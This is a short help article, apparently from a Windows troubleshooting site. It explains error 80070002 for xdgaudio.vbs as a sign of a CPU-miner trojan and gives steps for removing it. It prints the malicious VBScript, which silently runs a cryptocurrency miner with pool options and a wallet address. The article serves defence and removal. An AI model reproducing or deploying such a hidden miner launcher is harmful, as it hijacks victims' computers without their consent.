Error 80070002 xdgaudio.vbs cannot find the file specified?

If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.

xdgaudio.vbs error malware

Script:    C:\windows\xdgaudio.vbs
Line:    3
Char:    1
Error:    The system cannot find the file specified.
Code:    80070002
Source:     (null)

When edited with Notepad, the script may contain lines such as below:

Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp:// -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp:// -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0
Set WShell = Nothing

This certainly looks like a CPU / cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\windows\xdgaudio.vbs and c:\windows\servicecrsssr.vbs should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware, and also scan with the antivirus software you’re using.

For a detailed instructions on removing such Miner Trojan, check out guide How to remove CPU Miner Trojan from Windows (Virus Help Guide).

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